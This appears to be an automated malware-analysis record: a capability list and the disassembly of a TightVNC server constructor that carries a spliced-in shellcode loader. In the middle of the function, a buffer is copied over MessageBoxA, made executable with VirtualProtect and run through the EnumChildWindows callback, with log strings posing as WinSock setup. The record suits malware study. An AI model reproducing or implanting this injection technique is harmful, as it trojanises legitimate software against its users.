Function at 0x413860
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b58f3
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1788
call fcn.004abea0
push ebx
push esi
push edi
mov eax, dword [0x4fa008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x18], edi
mov eax, dword [ebp + 8]
mov ecx, 0x4fb5ac
mov byte [ebp - 0x11], al
mov dword [edi], vtable.Singleton_class_TvnServer_.0
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x30], edi
call dword [eax + 4]
mov eax, dword [0x4feeb8]
test eax, eax
cmove eax, edi
mov dword [0x4feeb8], eax
mov dword [ebp - 4], 0
mov ecx, 0x4fb5ac
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov dword [ebp - 4], 1
lea eax, [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xorps xmm0, xmm0
movups xmmword [edi + 0xc], xmm0
push eax
movups xmmword [edi + 0x1c], xmm0
movq qword [edi + 0x2c], xmm0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0xc], vtable.LocalMutex.0
call esi
mov dword [edi + 0xc], vtable.SafeVector_class_TvnServerListener__.0
mov dword [edi + 4], vtable.ConfigReloadListener.0
mov dword [edi + 8], vtable.RfbClientManagerEventListener.0
push dword [ebp + 0x14]
mov byte [ebp - 4], 4
lea eax, [edi + 0x34]
mov ecx, eax
mov dword [edi], vtable.TvnServer.1.0
mov dword [edi + 4], vtable.TvnServer.0
mov dword [edi + 8], vtable.TvnServer.2.0
mov dword [ebp - 0x1c], eax
call fcn.00405290
lea ecx, [edi + 0x40]
mov byte [ebp - 4], 5
call fcn.0046dab0
mov byte [ebp - 4], 6
lea ecx, [edi + 0x78]
push dword [ebp + 8]
call fcn.00467470
lea eax, [edi + 0x184]
mov dword [edi + method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call esi
mov eax, dword [ebp + 8]
mov byte [edi + 0x19c], al
mov dword [edi + method.WinServiceDesktopFactory.virtual_0], vtable.WinServiceDesktopFactory.0
mov dword [edi + method.ApplicationDesktopFactory.virtual_0], vtable.ApplicationDesktopFactory.0
mov byte [ebp - 4], 0xa
mov dword [edi + 0x1a8], 0
mov dword [edi + 0x1ac], 0
mov dword [edi + 0x1b0], 0
add edi, 0x1b4
mov dword [ebp + 8], edi
lea esi, [edi + 4]
push 0
mov dword [ebp + 8], esi
mov dword [edi], vtable.ExtraRfbServers.0
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0040c210
mov dword [esi], eax
mov esi, dword [ebp - 0x1c]
mov word [edi + 0xc], 0
mov dword [edi + 0x10], vtable.PortMappingContainer.0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], esi
mov byte [ebp - 4], 0xb
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp + 0x10]
push 0x4c4f70
push 0x4c5630
push 0x4cc6f4
push esi
mov dword [edi + 0x1d8], eax
mov dword [edi + 0x1dc], 1
call fcn.004054c0
mov eax, dword [vtable.LocalMutex.0]
add esp, 0x10
mov ecx, 0x4fb558
call dword [eax + 4]
mov eax, dword [0x4fee84]
mov dword [ebp + 8], eax
mov byte [ebp - 4], 0xc
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
push str.Initialize_WinSock
push esi
mov byte [ebp - 4], 0xb
call fcn.004054f0
add esp, 8
push 0x4cc73c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x413df2
push 0x1752
lea eax, [ebp - 0x1798]
push 0x4cc748
push eax
call fcn.00499f60
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x2c]
add esp, 0xc
mov dword [ebp - 0x2c], 0
push eax
push 0x40
push 0x1752
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x413df2
lea eax, [edi + 0x34]
push str.Initialize_WinSock_Success
push eax
call fcn.004054f0
push 0x1752
lea eax, [ebp - 0x1798]
push eax
push esi
call fcn.00499f60
lea eax, [edi + 0x34]
push str.Initialize_WinSock_finished
push eax
call fcn.004054f0
add esp, 0x1c
push 0
push esi
push 0
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov esi, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp + 8], 0
mov al, byte [esi + 0xf8]
test al, al
setne cl
add ecx, reloc.WS2_32.dll_accept
mov dword [ebp + 0x14], ecx
test al, al
je 0x413b45
mov eax, dword [esi + 0xfc]
test eax, eax
je 0x413b45
add eax, 0x40
mov dword [ebp + 8], eax
mov byte [ebp - 4], 0xd
push 0x1c
mov dword [ebp - 0x20], vtable.RegistrySettingsManager.0
mov dword [ebp - 0x1c], 0
call fcn.00496d34
add esp, 4
mov dword [ebp + 0x10], eax
mov byte [ebp - 4], 0xe
mov ecx, eax
push dword [ebp + 8]
push 1
push str.SoftwareTightVNCServer
push dword [ebp + 0x14]
call fcn.0041e800
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0xf
push eax
mov ecx, esi
call fcn.004679c0
mov ecx, esi
call fcn.00467700
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], vtable.RegistrySettingsManager.0
test ecx, ecx
je 0x413bad
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [vtable.LocalMutex.0]
mov ecx, 0x4fb558
call dword [eax + 4]
mov esi, dword [0x4fee84]
mov byte [ebp - 4], 0x10
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
lea eax, [esi + 0x2c]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x40]
mov dword [edi + 0x17c], eax
call fcn.00402f80
mov byte [ebp - 4], 0x12
mov esi, dword [edi + 0x17c]
mov ecx, esi
mov dword [ebp - 0x20], vtable.AutoLock.0
mov dword [ebp - 0x1c], esi
mov eax, dword [esi]
call dword [eax + 4]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x40]
mov eax, dword [ebp - 0x40]
push dword [esi + 0xa0]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov byte [ebp - 4], 0x12
mov esi, dword [edi + 0x17c]
mov eax, dword [esi + 0xb0]
lea ecx, [esi + 0xb0]
mov dword [ebp + 8], esi
call dword [eax + 4]
mov esi, dword [esi + 0x34]
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp + 8]
add ecx, 0xb0
mov eax, dword [ecx]
call dword [eax + 8]
mov byte [ebp - 4], 0x12
mov ecx, dword [edi + 0x1d8]
push esi
push 0x4c54b8
push dword [ebp - 0x3c]
mov eax, dword [ecx]
call dword [eax]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x40], vtable.StringStorage.0
call fcn.004039a0
mov dword [ebp - 4], 0xb
mov byte [ebp - 4], 0x17
call fcn.004545c0
push 0xe4
mov dword [ebp - 4], 0xb
call fcn.00496d34
mov esi, eax
add esp, 4
mov dword [ebp + 8], esi
mov edx, dword [ebp - 0x30]
mov byte [ebp - 4], 0x19
add edx, 0x1a4
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x18]
add ecx, 0x1a0
cmp byte [ebp - 0x11], 0
cmove ecx, edx
push ecx
lea eax, [edi + 0x34]
push eax
push dword [ebp + 0xc]
push ecx
mov ecx, esi
call fcn.00416850
mov byte [ebp - 4], 0xb
lea ecx, [edi + 8]
mov dword [edi + 0x1a8], eax
mov dword [ebp + 8], ecx
lea esi, [eax + 0x14]
mov dword [ebp - 0x28], vtable.AutoLock.0
mov eax, dword [esi]
mov ecx, esi
mov dword [ebp - 0x24], esi
call dword [eax + 4]
mov byte [ebp - 4], 0x1a
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x20]
cmp eax, ecx
je 0x413d12
mov edi, dword [ebp + 8]
cmp dword [eax], edi
mov edi, dword [ebp - 0x18]
je 0x413d48
add eax, 4
cmp eax, ecx
jne 0x413d01
cmp dword [esi + 0x24], ecx
je 0x413d4e
lea eax, [edi + 8]
mov dword [ecx], eax
add dword [esi + 0x20], 4
jmp 0x413d5b
mov byte [ebp - 4], 0x1b
jmp 0x413d5f
lea eax, [ebp + 8]
push eax
push ecx
lea ecx, [esi + 0x1c]
call fcn.00410ed0
mov byte [ebp - 4], 0x1c
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
add edi, 4
call dword [eax + 4]
mov esi, dword [0x4fee84]
mov byte [ebp - 4], 0x1d
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
push edi
lea ecx, [esi + 4]
mov byte [ebp - 4], 0xb
call fcn.00410e30
mov edi, dword [ebp - 0x18]
mov eax, dword [edi + 0x180]
lea esi, [edi + 0x180]
mov ecx, esi
mov dword [ebp - 0x28], vtable.AutoLock.0
mov dword [ebp - 0x24], esi
call dword [eax + 4]
mov ecx, edi
mov byte [ebp - 4], 0x1e
call fcn.00414e30
push dword [edi + 0x1a8]
movzx eax, byte [edi + 0x19c]
lea ecx, [edi + 0x1b4]
push eax
call fcn.00415d60
mov ecx, edi
call fcn.00414ba0
mov byte [ebp - 4], 0x1f
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10